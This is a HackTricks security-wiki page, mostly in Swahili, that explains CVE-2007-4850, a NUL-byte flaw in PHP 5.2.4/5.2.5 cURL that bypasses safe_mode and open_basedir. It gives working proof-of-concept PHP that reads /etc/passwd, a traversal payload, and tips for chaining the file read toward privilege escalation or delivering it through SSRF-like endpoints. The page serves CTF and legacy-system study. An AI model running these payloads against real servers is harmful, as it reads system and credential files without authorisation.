PHP 5.2.4 and 5.2.5 PHP cURL
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ukurasa huu unaelezea mbinu ya kale lakini bado yenye faida katika CTFs/usakinisho za ndani za matoleo ya zamani, ili kuepuka ukaguzi wa PHP safe_mode/open_basedir kwa kutumia ugani wa cURL kwenye matoleo maalum ya PHP 5.2.x.
- Affected: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
- Impact: Soma faili za ndani chochote licha ya vikwazo vya safe_mode au open_basedir (hakuna utekelezaji wa msimbo moja kwa moja).
- ID: CVE-2007-4850.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
PoC ya mstari mmoja
Ikiwa safe_mode au open_basedir ziko kwenye hali ya kazi na cURL imewezeshwa, yafuatayo yatarejesha yaliyomo ya script ya sasa:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
PoC ya wazi zaidi (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Notes:
- Tumia nukuu mbili au chr(0) kuingiza NUL byte halisi. Percent-encoding (%00) haitafanya kazi kwa uhakika.
- Hii ni primitive ya kusoma faili. Unganisha na primitives nyingine (log poisoning, session file inclusion, etc.) kwa kuongezeka kwa mamlaka inapowezekana.
Kwa nini hii inafanya kazi (mfupi)
Udhaifu upo katika jinsi PHP 5.2.4/5.2.5 ilivyofanya ukaguzi wa safe_mode/open_basedir kwa file:// URLs katika ext/curl. Ukaguzi ulitumia parsing ya URL na kuthibitisha sehemu ya path, lakini kutokana na jinsi NUL-byte zilivyosimamiwa ulikuwa unathibitisha string tofauti kuliko ile iliyotumika na libcurl. Katika vitendo, validator inaweza kuruhusu path baada ya NUL wakati libcurl ilitumia sehemu kabla ya NUL kama kontena la URL, kuruhusu bypass inayosababisha kusomwa kwa faili iliyowekwa baada ya NUL byte. Angalia uchambuzi wa awali na macro iliyoathirika katika curl/interface.c kwa maelezo. [CVE-2007-4850].
Vizingiti na marekebisho
- Imerekebishwa katika matoleo ya baadaye ya 5.2.x (mfano, distro builds patched to 5.2.6) kwa kusahihisha parsing/validation katika ext/curl.
- Inaathiri tu deployments za zamani sana za PHP; safe_mode iliondolewa katika PHP 5.4 na builds za kisasa hazionyeshi tabia hii.
Bypass nyingine za kihistoria zinazotegemea cURL
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers ziliruhusu
file://access zikiwa na NUL zilizowekwa ndani ili kupita open_basedir; ilirekebishwa kabla ya 5.2.x. - PHP bugs #30609/#36223 zilifuatilia mapema masuala ya cURL open_basedir ikitumia
file://bila canonicalization. Ukaguzi wowote kabla ya NUL byte au bila utatuzi wa aina yarealpathunajengewa na uwezekano wa kukatwa kwa njia sawa.
Vidokezo vya CTF
- Unapoitambua PHP 5.2.4/5.2.5 ikiwa ext/curl imepakiwa (tazama
cURL support => enabledkatikaphpinfo()naPHP Versionhalisi), hila hii kawaida inafanya kazi hata kamaallow_url_fopenimezimwa kwa sababu ext/curl inashughulikiafile://yenyewe. - Ikiwa path za moja kwa moja zimezuiliwa, jaribu traversal ya relative baada ya NUL, kwa mfano
file://x\x00../../../../etc/passwd. Traversal inatatuliwa na libcurl, si na open_basedir guard. - Unaweza kufunga payload katika mwili mmoja wa ombi la HTTP ili kusababisha LFI kupitia code ya server inayokuwa hatarishi inayokaa inaiga URLs zinazoendeshwa na mtumiaji kwenye
curl_exec()(ya kawaida katika endpoints za zamani zinazofanana na SSRF).
Tazama pia
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


